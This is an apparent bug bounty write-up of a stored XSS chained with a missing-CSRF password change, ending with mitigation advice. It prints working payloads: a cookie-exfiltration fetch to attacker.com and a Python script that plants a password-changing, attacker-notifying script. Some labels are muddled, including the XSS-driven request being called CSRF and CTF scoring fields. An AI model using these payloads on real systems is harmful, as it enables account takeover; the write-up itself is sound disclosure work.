Summary
During a bug bounty engagement, we discovered a stored XSS vulnerability that could be chained with weak CSRF protection to achieve complete account takeover. This writeup details the exploitation process and lessons learned.
Initial Reconnaissance
We started by enumerating the target application’s attack surface:
# Subdomain enumeration
subfinder -d target.com -silent | httpx -silent | tee subdomains.txt
# Directory brute-forcing
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302 -o dirs.txt
Vulnerability Discovery
While testing the profile update functionality, we noticed that user input wasn’t properly sanitized:

The application accepted HTML in the bio field:
// Vulnerable code (from source)
function updateBio() {
const bio = document.getElementById('bio').value;
document.getElementById('preview').innerHTML = bio; // XSS HERE!
}
Exploitation
Step 1: XSS Proof of Concept
We crafted a simple XSS payload to test:
<img src=x onerror="alert(document.domain)">
Success! The payload executed:

Step 2: Stealing Session Tokens
Next, we crafted a payload to exfiltrate session cookies:
<script>
fetch('https://attacker.com/collect?cookie=' + document.cookie);
</script>
However, the application used HttpOnly cookies, so this approach failed.
Step 3: CSRF Chain
We discovered the password change endpoint lacked CSRF protection:
#!/usr/bin/env python3
import requests
# Malicious payload to change victim's password
payload = """
<script>
// Change password via CSRF
fetch('/api/change-password', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
newPassword: 'hacked123',
confirmPassword: 'hacked123'
}),
credentials: 'include'
}).then(response => {
// Notify attacker
fetch('https://attacker.com/notify?success=true');
});
</script>
"""
# Inject into bio
session = requests.Session()
session.post('https://target.com/api/profile', json={
'bio': payload
})
Step 4: Social Engineering
We sent the victim a link to view our “interesting profile”:
https://target.com/profile/attacker123
When the victim visited, our XSS triggered and changed their password!

Impact
This vulnerability allows:
- ✅ Complete account takeover
- ✅ Access to sensitive user data
- ✅ Ability to perform actions as the victim
- ✅ Lateral movement to other accounts
CVSS Score: 9.1 (Critical)
Timeline
2025-10-15: Vulnerability discovered
2025-10-16: Reported to vendor
2025-10-17: Vendor acknowledged
2025-10-25: Fix deployed
2025-11-02: Public disclosure
Mitigation
For Developers
// Proper input sanitization
import DOMPurify from 'dompurify';
function updateBio() {
const bio = document.getElementById('bio').value;
// Sanitize HTML before rendering
const clean = DOMPurify.sanitize(bio);
document.getElementById('preview').innerHTML = clean;
}
For Security Teams
- Content Security Policy: Implement strict CSP headers
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
- CSRF Protection: Add CSRF tokens to all state-changing requests
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
csrf = CSRFProtect(app)
- Input Validation: Never trust user input
// Validate on both client and server
function validateBio(bio) {
// Remove all HTML tags
return bio.replace(/<[^>]*>/g, '');
}
Lessons Learned
- Defense in Depth: Multiple security layers would have prevented this
- HttpOnly Cookies: Saved us from direct cookie theft
- CSRF Tokens: Critical for sensitive operations
- Input Sanitization: Must be done server-side
- Bug Bounty Programs: Essential for finding these issues
Proof of Concept Video

References
Bounty Reward
💰 $5,000 - Critical severity
Difficulty Rating: 🔴 Hard
Category: Web Exploitation
Points: 1000
Bounty: $5,000
Note: All screenshots and details have been sanitized to protect the vendor’s identity. This disclosure follows responsible disclosure practices.